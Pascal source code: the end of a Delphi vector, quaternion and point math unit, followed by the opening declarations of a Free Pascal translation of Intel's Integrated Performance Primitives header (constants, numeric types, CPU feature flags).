FCount := ElementsCount;
FData := nil;
SetLength(FData, FCount);
end;
class operator TxVector.Add(V1, V2: TxVector): TxVector;
var
i: Integer;
begin
if (V1.FCount <> V2.FCount) then
raise EMathError.Create(sWRONG_SIZE);
Result := TxVector.Create(V1.FCount);
for i := 0 to V1.FCount - 1 do
Result.FData[i] := V1.FData[i] + V2.FData[i];
end;
class operator TxVector.Add(V: TxVector; Scalar: Extended): TxVector;
var
I: Integer;
begin
Result.Create(V.FCount);
for I := 0 to V.FCount - 1 do
Result.FData[I] := V.FData[I] + Scalar;
end;
class operator TxVector.Add(Scalar: Extended; V: TxVector): TxVector;
begin
Result := V + Scalar;
end;
procedure TxVector.CheckUnique;
begin
if NotUnique(@FData) then
FData := Copy(FData);
end;
class operator TxVector.Divide(V1, V2: TxVector): TxVector;
var
I: Integer;
begin
if (V1.FCount <> V2.FCount) then
raise EMathError.Create(sWRONG_SIZE);
Result.Create(V1.FCount);
for I := 0 to V1.FCount - 1 do
Result.FData[I] := V1.FData[I] / V2.FData[I];
end;
class operator TxVector.Divide(V: TxVector; Scalar: Extended): TxVector;
begin
Result := V * (1 / Scalar);
end;
class operator TxVector.Implicit(V: TAbstractVector): TxVector;
begin
Result.Create(V);
end;
procedure TxVector.Fill(Value: Extended);
var
I: Integer;
begin
if Value = 0 then
begin
FData := nil;
SetLength(FData, FCount);
end
else
for I := 0 to FCount - 1 do
FData[I] := Value;
end;
function TxVector.GetElement(Index: Word): Extended;
begin
if (Index = 0) or (Index > FCount) then
raise EMathError.Create(sWRONG_ELEMENT);
Result := FData[Pred(Index)];
end;
class operator TxVector.Multiply(V: TxVector; Scalar: Extended): TxVector;
var
I: Integer;
begin
Result.Create(V.FCount);
for I := 0 to V.FCount - 1 do
Result.FData[I] := V.FData[I] * Scalar;
end;
class operator TxVector.Multiply(Scalar: Extended; V: TxVector): TxVector;
begin
Result := V * Scalar;
end;
function TxVector.Norm: Extended;
begin
Result := System.Math.Norm(FData);
end;
class operator TxVector.Multiply(V1, V2: TxVector): TxVector;
begin
if (V1.FCount <> 3) or (V2.FCount <> 3) then
raise EMathError.Create(sWRONG_SIZE);
Result.Create(V1.FCount);
Result.FData[0] := V1.FData[1] * V2.FData[2] - V1.FData[2] * V2.FData[1];
Result.FData[1] := V1.FData[2] * V2.FData[0] - V1.FData[0] * V2.FData[2];
Result.FData[2] := V1.FData[0] * V2.FData[1] - V1.FData[1] * V2.FData[0];
end;
function TxVector.ScalarMult(V: TxVector): Extended;
var
I: Integer;
begin
if V.FCount <> FCount then
raise EMathError.Create(sWRONG_SIZE);
Result := 0.0;
for I := 0 to FCount - 1 do
Result := Result + FData[I] * V.FData[I];
end;
procedure TxVector.SetElement(Index: Word; Value: Extended);
begin
if (Index = 0) or (Index > FCount) then
raise EMathError.Create(sWRONG_ELEMENT);
CheckUnique;
FData[Pred(Index)] := Value;
end;
class operator TxVector.Subtract(V1, V2: TxVector): TxVector;
var
I: Integer;
begin
if (V1.FCount <> V2.FCount) then
raise EMathError.Create(sWRONG_SIZE);
Result.Create(V1.FCount);
for I := 0 to V1.FCount - 1 do
Result.FData[I] := V1.FData[I] - V2.FData[I];
end;
class operator TxVector.Subtract(Scalar: Extended; V: TxVector): TxVector;
var
I: Integer;
begin
Result.Create(V.FCount);
for I := 0 to V.FCount - 1 do
Result.FData[I] := Scalar - V.FData[I];
end;
class operator TxVector.Subtract(V: TxVector; Scalar: Extended): TxVector;
var
I: Integer;
begin
Result.Create(V.FCount);
for I := 0 to V.Count - 1 do
Result.FData[I] := V.FData[I] - Scalar;
end;
function TxVector.SumOfElments: Extended;
begin
Result := Sum(FData);
end;
function TxVector.SumOfSquares: Extended;
begin
Result := System.Math.SumOfSquares(FData);
end;
function TxVector.ToQuat: TxQuaternion;
var
ModVec: Extended;
C1, C2: Extended;
begin
if (FCount <> 3) then
raise EMathError.Create(sWRONG_SIZE);
ModVec := Norm;
C1 := Cos(ModVec / 2);
if ModVec > 1e-15 then
C2 := Sin(ModVec / 2) / ModVec
else
C2 := 1;
Result := [C1, FData[0] * C2, FData[1] * C2, FData[2] * C2];
end;
function TxVector.TruncateSTI: TxVector;
const
Int32Max: Double = Integer.MaxValue;
Int32Min: Double = Integer.MinValue;
var
I: Integer;
begin
Result.Create(FCount);
for I := 0 to FCount - 1 do
begin
if (FData[I] >= Int32Min) and (FData[I] <= Int32Max) then
Result.FData[I] := Trunc(FData[I])
else
if (FData[I] < Int32Min) then
Result.FData[I] := Int32Min
else
Result.FData[I] := Int32Max;
end;
end;
{ TxQuatHelper }
function TxQuatHelper.ToMatrix: TxMatrix;
begin
Result.Create(3, 3);
Result[1, 1] := Sqr(FData[0]) + Sqr(FData[1]) - Sqr(FData[2]) - Sqr(FData[3]);
Result[1, 2] := 2 * (FData[1] * FData[2] - FData[0] * FData[3]);
Result[1, 3] := 2 * (FData[1] * FData[3] + FData[0] * FData[2]);
Result[2, 1] := 2 * (FData[1] * FData[2] + FData[0] * FData[3]);
Result[2, 2] := Sqr(FData[0]) - Sqr(FData[1]) + Sqr(FData[2]) - Sqr(FData[3]);
Result[2, 3] := 2 * (FData[2] * FData[3] - FData[0] * FData[1]);
Result[3, 1] := 2 * (FData[1] * FData[3] - FData[0] * FData[2]);
Result[3, 2] := 2 * (FData[2] * FData[3] + FData[0] * FData[1]);
Result[3, 3] := Sqr(FData[0]) - Sqr(FData[1]) - Sqr(FData[2]) + Sqr(FData[3]);
end;
{ TxVecHelper }
function TxVecHelper.ToDiagMatrix: TxMatrix;
var
I: Integer;
begin
Result.Create(FCount, FCount);
for I := 0 to FCount - 1 do
Result.FData[I, I] := FData[I];
end;
procedure Init(Obj, TypeInfoOfObj: Pointer; Offset: Integer = 0);
const
DefaultRowCount = 3;
DefaultColCount = 3;
VectorTypeName = 'TVector';
MatrixTypeName = 'TMatrix';
var
RTTIContext: TRttiContext;
Field : TRttiField;
ArrFld: TRttiArrayType;
I: Integer;
Dim: TCustomAttribute;
RowCount, ColCount: Integer;
OffsetFromArray: Integer;
begin
for Field in RTTIContext.GetType(TypeInfoOfObj).GetFields do
begin
if Field.FieldType <> nil then
begin
RowCount := DefaultRowCount;
ColCount := DefaultColCount;
for Dim in Field.GetAttributes do
begin
RowCount := (Dim as TxDim).RowCount;
ColCount := (Dim as TxDim).ColCount;
end;
if Field.FieldType.TypeKind = tkArray then
begin
ArrFld := TRttiArrayType(Field.FieldType);
if ArrFld.ElementType.TypeKind = tkRecord then
begin
for I := 0 to ArrFld.TotalElementCount - 1 do
begin
OffsetFromArray := I * ArrFld.ElementType.TypeSize;
if ArrFld.ElementType.Name = VectorTypeName then
PxVector(Integer(Obj) +
Field.Offset +
OffsetFromArray +
Offset)^ := TxVector.Create(RowCount)
else if ArrFld.ElementType.Name = MatrixTypeName then
PxMatrix(Integer(Obj) +
Field.Offset +
OffsetFromArray +
Offset)^ := TxMatrix.Create(RowCount, ColCount)
else
Init(Obj, ArrFld.ElementType.Handle, Field.Offset + OffsetFromArray);
end;
end;
end
else if Field.FieldType.TypeKind = tkRecord then
begin
if Field.FieldType.Name = VectorTypeName then
PxVector(Integer(Obj) +
Field.Offset +
Offset)^ := TxVector.Create(RowCount)
else if Field.FieldType.Name = MatrixTypeName then
PxMatrix(Integer(Obj) +
Field.Offset +
Offset)^ := TxMatrix.Create(RowCount, ColCount)
else
Init(Obj, Field.FieldType.Handle, Field.Offset)
end;
end;
end;
end;
{ TxDim }
constructor TxDim.Create(ARowCount: Integer; AColCount: Integer = 0);
begin
FRowCount := ARowCount;
FColCount := AColCount;
end;
{ TxPoint2D }
function TxPoint2D.Create(X, Y : Single): TxPoint2D;
begin
Result.X := X;
Result.Y := Y;
end;
procedure TxPoint2D.SetPosition(const X, Y: Single);
begin
Self.X := X;
Self.Y := Y;
end;
function TxPoint2D.Length: Single;
begin
Result := Sqrt(Self.X * Self.X + Self.Y * Self.Y);
end;
function TxPoint2D.Add(const APoint2D: TxPoint2D): TxPoint2D;
begin
Result.SetPosition(Self.X + APoint2D.X, Self.Y + APoint2D.Y);
end;
function TxPoint2D.Distance(const APoint2D: TxPoint2D): Single;
begin
Result := Sqrt(Sqr(Self.X - APoint2D.X) + Sqr(Self.Y - APoint2D.Y));
end;
procedure TxPoint2D.Offset(const ADeltaX, ADeltaY: Single);
begin
Self.X := Self.X + ADeltaX;
Self.Y := Self.Y + ADeltaY;
end;
class function TxPoint2D.PointInCircle(const Point, Center: TxPoint2D;
const Radius: Integer): Boolean;
begin
Result := Point.Distance(Center) <= Radius;
end;
{ TxPoint3D }
function TxPoint3D.Create(X, Y, Z: Single): TxPoint3D;
begin
Result.X := X;
Result.Y := Y;
Result.Z := Z;
end;
function TxPoint3D.Add(const AGLPoint3D: TxPoint3D): TxPoint3D;
begin
Result.X := Self.X + AGLPoint3D.X;
Result.Y := Self.Y + AGLPoint3D.Y;
Result.Z := Self.Z + AGLPoint3D.Z;
end;
function TxPoint3D.Distance(const APoint3D: TxPoint3D): Single;
begin
Result := Self.Length - APoint3D.Length;
end;
function TxPoint3D.Length: Single;
begin
Result := Sqrt(Self.X * Self.X + Self.Y * Self.Y + Self.Z * Self.Z);
end;
procedure TxPoint3D.Offset(const ADeltaX, ADeltaY, ADeltaZ: Single);
begin
Self.X := Self.X + ADeltaX;
Self.Y := Self.Y + ADeltaY;
Self.Z := Self.Z + ADeltaZ;
end;
procedure TxPoint3D.SetPosition(const X, Y, Z: Single);
begin
Self.X := X;
Self.Y := Y;
Self.Z := Z;
end;
{ TxVector2D }
function TxVector2D.Create(const AX, AY, AW: Single): TxVector2D;
begin
Result.X := AX;
Result.Y := AY;
Result.W := AW;
end;
function TxVector2D.CrossProduct(const AVector: TxVector2D): TxVector2D;
begin
Result.X := (Self.Y * AVector.W) - (Self.W * AVector.Y);
Result.Y := (Self.W * AVector.X) - (Self.X * AVector.W);
Result.W := (Self.X * AVector.Y) - (Self.Y * AVector.X);
end;
function TxVector2D.DotProduct(const AVector: TxVector2D): Single;
begin
Result := (Self.X * AVector.X) + (Self.Y * AVector.Y) + (Self.W * AVector.W);
end;
function TxVector2D.Add(const AVector2D: TxVector2D): TxVector2D;
begin
Result.X := Self.X + AVector2D.X;
Result.Y := Self.Y + AVector2D.Y;
Result.W := 1.0;
end;
function TxVector2D.Length: Single;
begin
Result := Sqrt((Self.X * Self.X) + (Self.Y * Self.Y));
end;
function TxVector2D.Norm: Single;
begin
Result := Sqr(Self.X) + Sqr(Self.Y);
end;
function TxVector2D.Normalize: TxVector2D;
var
invLen: Single;
vn: Single;
const
Tolerance: Single = 1E-12;
begin
vn := Self.Norm;
if vn > Tolerance then
begin
invLen := 1/Sqrt(vn);
Result.X := Self.X * invLen;
Result.Y := Self.Y * invLen;
end
else
Result := Self;
end;
//---------------------------------
{ TxVector3D }
//---------------------------------
function TxVector3D.Create(const AX, AY, AZ, AW: Single): TxVector3D;
begin
Result.X := AX;
Result.Y := AY;
Result.Z := AZ;
Result.W := AW;
end;
function TxVector3D.Add(const AVector3D: TxVector3D): TxVector3D;
begin
Result.X := Self.X + AVector3D.X;
Result.Y := Self.Y + AVector3D.Y;
Result.Z := Self.Z + AVector3D.Z;
Result.W := 1.0;
end;
function TxVector3D.Norm: Single;
begin
result := Self.X * Self.X + Self.Y * Self.Y + Self.Z * Self.Z;
end;
function TxVector3D.Normalize: TxVector3D;
var
invLen: Single;
vn: Single;
const
Tolerance: Single = 1E-12;
begin
vn := Self.Norm;
if vn > 0 then
begin
invLen := 1/Sqrt(vn);
Result.X := Self.X * invLen;
Result.Y := Self.Y * invLen;
Result.Z := Self.Z * invLen;
Result.W := 0;
end
else
Result := Self;
end;
function TxVector3D.DotProduct(const AVector3D: TVector3D): Single;
begin
Result := (Self.X * AVector3D.X) + (Self.Y * AVector3D.Y) + (Self.Z * AVector3D.Z);
end;
function TxVector3D.CrossProduct(const AVector3D: TVector3D): TVector3D;
begin
Result.X := (Self.Y * AVector3D.Z) - (Self.Z * AVector3D.Y);
Result.Y := (Self.Z * AVector3D.X) - (Self.X * AVector3D.Z);
Result.Z := (Self.X * AVector3D.Y) - (Self.Y * AVector3D.X);
end;
function TxVector3D.Length: Single;
begin
Result := Sqrt((Self.X * Self.X) + (Self.Y * Self.Y) + (Self.Z * Self.Z));
end;
//---------------------------------
{ TxQuaternion }
//---------------------------------
function TxQuaternion.GetElement(Index: Byte): Extended;
begin
if (Index > 3) then
raise EMathError.Create(sWRONG_ELEMENT);
Result := FData[Index];
end;
class operator TxQuaternion.Implicit(V: TAbstractVector): TxQuaternion;
begin
if (Length(V) <> 4) then
raise EMathError.Create(sWRONG_SIZE);
Move(V[0], Result.FData, SizeOf(Result.FData));
end;
function TxQuaternion.Inv: TxQuaternion;
begin
Result := [FData[0], -FData[1], -FData[2], -FData[3]];
end;
class operator TxQuaternion.Multiply(Scalar: Extended; Q: TxQuaternion): TxQuaternion;
begin
Result := Q * Scalar;
end;
class operator TxQuaternion.Multiply(Q: TxQuaternion; Sc: Extended): TxQuaternion;
begin
Result := [Q.FData[0] * Sc, Q.FData[1] * Sc, Q.FData[2] * Sc, Q.FData[3] * Sc];
end;
class operator TxQuaternion.Multiply(Q1, Q2: TxQuaternion): TxQuaternion;
var
Mat: TxMatrix;
begin
Mat := [[Q1.FData[0], -Q1.FData[1], -Q1.FData[2], -Q1.FData[3]],
[Q1.FData[1], Q1.FData[0], -Q1.FData[3], Q1.FData[2]],
[Q1.FData[2], Q1.FData[3], Q1.FData[0], -Q1.FData[1]],
[Q1.FData[3], -Q1.FData[2], Q1.FData[1], Q1.FData[0]]];
Result := Mat * Q2;
end;
constructor TxQuaternion.Create(Q: TAbstractVector);
begin
if Length(Q) <> 4 then
raise EMathError.Create(sWRONG_SIZE);
Move(Q[0], FData[0], SizeOf(FData));
end;
procedure TxQuaternion.SetElement(Index: Byte; Value: Extended);
begin
if (Index > 3) then
raise EMathError.Create(sWRONG_ELEMENT);
FData[Index] := Value;
end;
function TxQuaternion.TruncateSTI: TxQuaternion;
const
Int32Max: Double = Integer.MaxValue;
Int32Min: Double = Integer.MinValue;
function xTrunc(Value: Extended): Double;
begin
if (Value >= Int32Min) and (Value <= Int32Max) then
Result := Trunc(Value)
else
if (Value < Int32Min) then
Result := Int32Min
else
Result := Int32Max;
end;
begin
Result[0] := xTrunc(FData[0]);
Result[1] := xTrunc(FData[1]);
Result[2] := xTrunc(FData[2]);
Result[3] := xTrunc(FData[3]);
end;
end.
|
{
Copyright 1999 2016 Intel Corporation All Rights Reserved.
The source code, information and material ("Material") contained herein is
owned by Intel Corporation or its suppliers or licensors, and title
to such Material remains with Intel Corporation or its suppliers or
licensors. The Material contains proprietary information of Intel
or its suppliers and licensors. The Material is protected by worldwide
copyright laws and treaty provisions. No part of the Material may be used,
copied, reproduced, modified, published, uploaded, posted, transmitted,
distributed or disclosed in any way without Intel`s prior express written
permission. No license under any patent, copyright or other intellectual
property rights in the Material is granted to or conferred upon you,
either expressly, by implication, inducement, estoppel or otherwise.
Any license under such intellectual property rights must be express and
approved by Intel in writing.
Unless otherwise agreed by Intel in writing,
you may not remove or alter this notice or any other notice embedded in
Materials by Intel or Intel`s suppliers or licensors in any way.
}
{
Translation to Pascal: Adriaan van Os <adriaan@microbizz.nl>
Version: 20160528
This file is distributed in the hope that it will be useful but WITHOUT ANY WARRANTY;
without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
use it AT YOUR OWN RISK.
}
{$mode macpas}
{$macro on}
{$inline on}
{$B-}
{$H-}
{$extendedsyntax off}
{$align 4}
{$packenum 4}
unit ipp;
interface
{
Intel(R) Integrated Performance Primitives
Purpose: Describes the IPP version
}
const
IPP_VERSION_MAJOR = 9;
IPP_VERSION_MINOR = 0;
IPP_VERSION_UPDATE = 2;
IPP_VERSION_STR = '9.0.2';
{
Intel(R) Integrated Performance Primitives
Common Types and Macro Definitions
}
{$ifc (defined WIN32) or (defined WIN64) }
{$definec _ippapi stdcall; external; }
{$elsec }
{$definec _ippapi cdecl; external; }
{$endc }
{
Intel(R) Integrated Performance Primitives
Basic Types and Macro Definitions
}
const
IPP_PI = 3.14159265358979323846; { ANSI C does not support M_PI }
IPP_2PI = 6.28318530717958647692; { 2*pi }
IPP_PI2 = 1.57079632679489661923; { pi/2 }
IPP_PI4 = 0.78539816339744830961; { pi/4 }
IPP_PI180 = 0.01745329251994329577; { pi/180 }
IPP_RPI = 0.31830988618379067154; { 1/pi }
IPP_SQRT2 = 1.41421356237309504880; { sqrt(2) }
IPP_SQRT3 = 1.73205080756887729353; { sqrt(3) }
IPP_LN2 = 0.69314718055994530942; { ln(2) }
IPP_LN3 = 1.09861228866810969139; { ln(3) }
IPP_E = 2.71828182845904523536; { e }
IPP_RE = 0.36787944117144232159; { 1/e }
IPP_EPS23 = single( 1.19209289e-07);
IPP_EPS52 = double( 2.2204460492503131e-016);
IPP_MAX_8U = 255;
IPP_MAX_16U = 65535;
IPP_MAX_32U = 4294967295;
IPP_MIN_8U = 0;
IPP_MIN_16U = 0;
IPP_MIN_32U = 0;
IPP_MIN_8S = -128;
IPP_MAX_8S = 127;
IPP_MIN_16S = -32768;
IPP_MAX_16S = 32767;
IPP_MIN_32S = -2147483648;
IPP_MAX_32S = 2147483647;
IPP_MIN_64U = 0;
{ internal compiler error 200706102
IPP_MAX_64S = 9223372036854775807;
IPP_MIN_64S = -9223372036854775808;
IPP_MAX_64U = 18446744073709551615;
}
IPP_MINABS_32F = single( 1.175494351e-38);
IPP_MAXABS_32F = single( 3.402823466e+38);
IPP_EPS_32F = single( 1.192092890e-07);
IPP_MINABS_64F = double( 2.2250738585072014e-308);
IPP_MAXABS_64F = double( 1.7976931348623158e+308);
IPP_EPS_64F = double( 2.2204460492503131e-016);
type
charPtr = ^char;
SignedByte = -128..+127;
Word16 = UNSIGNEDWORD;
Word32 = UNSIGNEDLONG;
Word64 = QWORD;
OpaqueRecord = record end;
OpaquePtr = ^OpaqueRecord;
float = single; {?}
type
Int16Ptr = ^Int16;
Int32Ptr = ^Int32;
Int64Ptr = ^Int64;
Word16Ptr = ^Word16;
Word32Ptr = ^Word32;
Word64Ptr = ^Word64;
singlePtr = ^single;
doublePtr = ^double;
type
double_2_2Ptr = ^double_2_2;
double_2_3Ptr = ^double_2_3;
double_2_4Ptr = ^double_2_4;
double_3_3Ptr = ^double_3_3;
double_3_4Ptr = ^double_3_4;
double_4_2Ptr = ^double_4_2;
double_2_2 = array[ 0..1, 0..1] of double;
double_2_3 = array[ 0..1, 0..2] of double;
double_2_4 = array[ 0..1, 0..3] of double;
double_3_3 = array[ 0..2, 0..2] of double;
double_3_4 = array[ 0..2, 0..3] of double;
double_4_2 = array[ 0..3, 0..1] of double;
type
IppLibraryVersionPtr = ^IppLibraryVersion;
IppLibraryVersion =
record
major : Int32; { e.g. 1 }
minor : Int32; { e.g. 2 }
majorBuild : Int32; { e.g. 3 }
build : Int32; { e.g. 10, always >= majorBuild }
targetCpu : packed array[ 0..3] of char; { corresponding to Intel(R) processor }
Name : charPtr; { e.g. "ippsw7" }
Version : charPtr; { e.g. "v1.2 Beta" }
BuildDate : charPtr { e.g. "Jul 20 99" }
end;
type
Ipp8u = byte;
Ipp16u = Word16;
Ipp32u = Word32;
Ipp64u = Word64;
Ipp8s = SignedByte;
Ipp16s = Int16;
Ipp32s = Int32;
Ipp64s = Int64;
Ipp32f = single;
Ipp64f = double;
Ipp16f = Ipp16s;
type
Ipp8uPtr = ^Ipp8u;
Ipp16uPtr = ^Ipp16u;
Ipp32uPtr = ^Ipp32u;
Ipp64uPtr = ^Ipp64u;
Ipp8sPtr = ^Ipp8s;
Ipp16sPtr = ^Ipp16s;
Ipp32sPtr = ^Ipp32s;
Ipp64sPtr = ^Ipp64s;
Ipp32fPtr = ^Ipp32f;
Ipp64fPtr = ^Ipp64f;
Ipp16fPtr = ^Ipp16f;
type
Ipp32sPtrPtr = ^Ipp32sPtr;
type
Int32_3Ptr = ^Int32_3;
Ipp8u_3Ptr = ^Ipp8u_3;
Ipp16u_3Ptr = ^Ipp16u_3;
Ipp32u_3Ptr = ^Ipp32u_3;
Ipp16s_3Ptr = ^Ipp16s_3;
Ipp32s_3Ptr = ^Ipp32s_3;
Ipp32f_3Ptr = ^Ipp32f_3;
Ipp64f_3Ptr = ^Ipp64f_3;
Ipp32f_1 = packed array[ 0..0] of Ipp32f;
Int32_3 = packed array[ 0..2] of Int32;
Ipp8u_3 = packed array[ 0..2] of Ipp8u;
Ipp16u_3 = packed array[ 0..2] of Ipp16u;
Ipp32u_3 = packed array[ 0..2] of Ipp32u;
Ipp16s_3 = packed array[ 0..2] of Ipp16s;
Ipp32s_3 = packed array[ 0..2] of Ipp32s;
Ipp32f_3 = packed array[ 0..2] of Ipp32f;
Ipp64f_3 = packed array[ 0..2] of Ipp64f;
type
Int32_4Ptr = ^Int32_4;
Ipp8u_4Ptr = ^Ipp8u_4;
Ipp16u_4Ptr = ^Ipp16u_4;
Ipp32u_4Ptr = ^Ipp32u_4;
Ipp16s_4Ptr = ^Ipp16s_4;
Ipp32s_4Ptr = ^Ipp32s_4;
Ipp32f_4Ptr = ^Ipp32f_4;
Ipp64f_4Ptr = ^Ipp64f_4;
Int32_4 = packed array[ 0..3] of Int32;
Ipp8u_4 = packed array[ 0..3] of Ipp8u;
Ipp16u_4 = packed array[ 0..3] of Ipp16u;
Ipp32u_4 = packed array[ 0..3] of Ipp32u;
Ipp16s_4 = packed array[ 0..3] of Ipp16s;
Ipp32s_4 = packed array[ 0..3] of Ipp32s;
Ipp32f_4 = packed array[ 0..3] of Ipp32f;
Ipp64f_4 = packed array[ 0..3] of Ipp64f;
type
Ipp32f_3_4Ptr = ^Ipp32f_3_4;
Ipp32f_4_4Ptr = ^Ipp32f_4_4;
Ipp32f_3_4 = array[ 0..2, 0..3] of Ipp32f;
Ipp32f_4_4 = array[ 0..3, 0..3] of Ipp32f;
type
Ipp8u_256Ptr = ^Ipp8u_256;
Ipp8u_256 = packed array[ 0..255] of Ipp8u;
type
Int32_258Ptr = ^Int32_258;
Int32_258 = packed array[ 0..257] of Int32;
type
Ipp8uPtrPtr = ^Ipp8uPtr;
Ipp16uPtrPtr = ^Ipp16uPtr;
Ipp16sPtrPtr = ^Ipp16sPtr;
Ipp32fPtrPtr = ^Ipp32fPtr;
type
Ipp8scPtr = ^Ipp8sc;
Ipp8sc =
record
re: Ipp8s;
im: Ipp8s
end;
Ipp16scPtr = ^Ipp16sc;
Ipp16sc =
record
re: Ipp16s;
im: Ipp16s
end;
Ipp16ucPtr = ^Ipp16uc;
Ipp16uc =
record
re: Ipp16u;
im: Ipp16u
end;
Ipp32scPtr = ^Ipp32sc;
Ipp32sc =
record
re: Ipp32s;
im: Ipp32s
end;
Ipp32fcPtr = ^Ipp32fc;
Ipp32fc =
record
re: Ipp32f;
im: Ipp32f
end;
Ipp64scPtr = ^Ipp64sc;
Ipp64sc =
record
re: Ipp64s;
im: Ipp64s
end;
Ipp64fcPtr = ^Ipp64fc;
Ipp64fc =
record
re: Ipp64f;
im: Ipp64f
end;
const
ippDataTypeUndef = -1;
ippDataType1u = 0;
ippDataType8u = 1;
ippDataType8uc = 2;
ippDataType8s = 3;
ippDataType8sc = 4;
ippDataType16u = 5;
ippDataType16uc = 6;
ippDataType16s = 7;
ippDataType16sc = 8;
ippDataType32u = 9;
ippDataType32uc = 10;
ippDataType32s = 11;
ippDataType32sc = 12;
ippDataType32f = 13;
ippDataType32fc = 14;
ippDataType64u = 15;
ippDataType64uc = 16;
ippDataType64s = 17;
ippDataType64sc = 18;
ippDataType64f = 19;
ippDataType64fc = 20;
type
IppDataType = Int32;
IppBool = ( ippFalse, ippTrue);
{
Intel(R) Integrated Performance Primitives
Derivative Types and Macro Definitions
The main purpose of this header file is
to support compatibility with the legacy
domains until their end of life.
}
{----------------------------------------------------------------------------}
{ Below are ippCore domain specific definitions }
{----------------------------------------------------------------------------}
const
ippCPUID_MMX = $00000001; { Intel Architecture MMX technology supported }
ippCPUID_SSE = $00000002; { Streaming SIMD Extensions }
ippCPUID_SSE2 = $00000004; { Streaming SIMD Extensions 2 }
ippCPUID_SSE3 = $00000008; { Streaming SIMD Extensions 3 }
ippCPUID_SSSE3 = $00000010; { Supplemental Streaming SIMD Extensions 3 }
ippCPUID_MOVBE = $00000020; { The processor supports MOVBE instruction }
ippCPUID_SSE41 = $00000040; { Streaming SIMD Extensions 4.1 }
ippCPUID_SSE42 = $00000080; { Streaming SIMD Extensions 4.2 }
ippCPUID_AVX = $00000100; { Advanced Vector Extensions instruction set }
ippAVX_ENABLEDBYOS = $00000200; { The operating system supports AVX }
ippCPUID_AES = $00000400; { AES instruction }
ippCPUID_CLMUL = $00000800; { PCLMULQDQ instruction }
ippCPUID_ABR = $00001000; { Reserved }
ippCPUID_RDRAND = $00002000; { Read Random Number instructions }
ippCPUID_F16C = $00004000; { Float16 instructions }
ippCPUID_AVX2 = $00008000; { Advanced Vector Extensions 2 instruction set }
ippCPUID_ADCOX = $00010000; { ADCX and ADOX instructions }
ippCPUID_RDSEED = $00020000; { The RDSEED instruction }
ippCPUID_PREFETCHW = $00040000; { The PREFETCHW instruction }
ippCPUID_SHA = $00080000; { Intel (R) SHA Extensions }
ippCPUID_AVX512F = $00100000; { AVX-512 Foundation instructions }
ippCPUID_AVX512CD = $00200000; { AVX-512 Conflict Detection instructions }
ippCPUID_AVX512ER = $00400000; { AVX-512 Exponential & Reciprocal instructions}
ippCPUID_AVX512PF = $00800000; { AVX-512 Prefetch instructions }
ippCPUID_AVX512BW = $01000000; { AVX-512 Byte & Word instructions }
ippCPUID_AVX512DQ = $02000000; { AVX-512 DWord & QWord instructions }
ippCPUID_AVX512VL = $04000000; { AVX-512 Vector Length extensions }
ippCPUID_KNC = $80000000; { Intel(R) Xeon Phi(TM) Coprocessor }
ippCPUID_NOCHECK = $8000000000000000; { Force ippSetCpuFeatures to set CPU features without check }
ippCPUID_GETINFO_A = $616f666e69746567; { Force ipp_GetCpuFeatures to work as cpuid instruction }
{ define IPP_COUNT_OF( obj ) (sizeof(obj)/sizeof(obj[0])) }
{----------------------------------------------------------------------------}
{ Below are ippSP domain specific definitions }
{----------------------------------------------------------------------------}
const
ippRndZero = 0;
ippRndNear = 1;
ippRndFinancial = 2;
ippRndHintAccurate = 16;
type
IppRoundMode = Int32;
type
IppHintAlgorithm = ( ippAlgHintNone, ippAlgHintFast, ippAlgHintAccurate);
IppCmpOp = ( ippCmpLess, ippCmpLessEq, ippCmpEq, ippCmpGreaterEq, ippCmpGreater);
const
ippAlgAuto = $00000000;
ippAlgDirect = $00000001;
ippAlgFFT = $00000002;
ippAlgMask = $000000FF;
type
IppAlgType = Int32;
const
ippsNormNone = $00000000; { default }
ippsNormA = $00000100; { biased normalization }
ippsNormB = $00000200; { unbiased normalization }
ippsNormMask = $0000FF00;
type
IppsNormOp = Int32;
const
ippNormInf = $0000000;
ippNormL1 = $00000002;
ippNormL2 = $00000004;
type
IppNormType = Int32;
const
IPP_FFT_DIV_FWD_BY_N = 1;
IPP_FFT_DIV_INV_BY_N = 2;
IPP_FFT_DIV_BY_SQRTN = 4;
IPP_FFT_NODIV_BY_ANY = 8;
const
IPP_DIV_FWD_BY_N = 1;
IPP_DIV_INV_BY_N = 2;
IPP_DIV_BY_SQRTN = 4;
IPP_NODIV_BY_ANY = 8;
type
IppPointPolarPtr = ^IppPointPolar;
IppPointPolar =
record
rho : Ipp32f;
theta : Ipp32f
end;
IppPointPolar_2Ptr = ^IppPointPolar_2;
IppPointPolar_2 = array[ 0..1] of IppPointPolar;
IppWinType = ( ippWinBartlett, ippWinBlackman, ippWinHamming, ippWinHann, ippWinRect);
IppsIIRFilterType = ( ippButterworth, ippChebyshev1);
IppsZCType = ( ippZCR, ippZCXor, ippZCC);
IppsROIPtr = ^IppsROI;
IppsROI =
record
left : Int32;
right : Int32
end;
type
IppsRandUniState_8uPtr = OpaquePtr;
IppsRandUniState_16sPtr = OpaquePtr;
IppsRandUniState_32fPtr = OpaquePtr;
IppsRandUniState_64fPtr = OpaquePtr;
IppsRandGaussState_8uPtr = OpaquePtr;
IppsRandGaussState_16sPtr = OpaquePtr;
IppsRandGaussState_32fPtr = OpaquePtr;
IppsRandGaussState_64fPtr = OpaquePtr;
IppsFFTSpec_C_32fcPtr = OpaquePtr;
IppsFFTSpec_C_32fPtr = OpaquePtr;
IppsFFTSpec_R_32fPtr = OpaquePtr;
IppsFFTSpec_C_32fcPtrPtr = ^IppsFFTSpec_C_32fcPtr;
IppsFFTSpec_C_32fPtrPtr = ^IppsFFTSpec_C_32fPtr;
IppsFFTSpec_R_32fPtrPtr = ^IppsFFTSpec_R_32fPtr;
IppsFFTSpec_C_64fcPtr = OpaquePtr;
IppsFFTSpec_C_64fPtr = OpaquePtr;
IppsFFTSpec_R_64fPtr = OpaquePtr;
IppsFFTSpec_C_64fcPtrPtr = ^IppsFFTSpec_C_64fcPtr;
IppsFFTSpec_C_64fPtrPtr = ^IppsFFTSpec_C_64fPtr;
IppsFFTSpec_R_64fPtrPtr = ^IppsFFTSpec_R_64fPtr;
IppsDFTSpec_C_32fcPtr = OpaquePtr;
IppsDFTSpec_C_32fPtr = OpaquePtr;
IppsDFTSpec_R_32fPtr = OpaquePtr;
IppsDFTSpec_C_64fcPtr = OpaquePtr;
IppsDFTSpec_C_64fPtr = OpaquePtr;
IppsDFTSpec_R_64fPtr = OpaquePtr;
IppsDCTFwdSpec_32fPtr = OpaquePtr;
IppsDCTInvSpec_32fPtr = OpaquePtr;
IppsDCTFwdSpec_32fPtrPtr = ^IppsDCTFwdSpec_32fPtr;
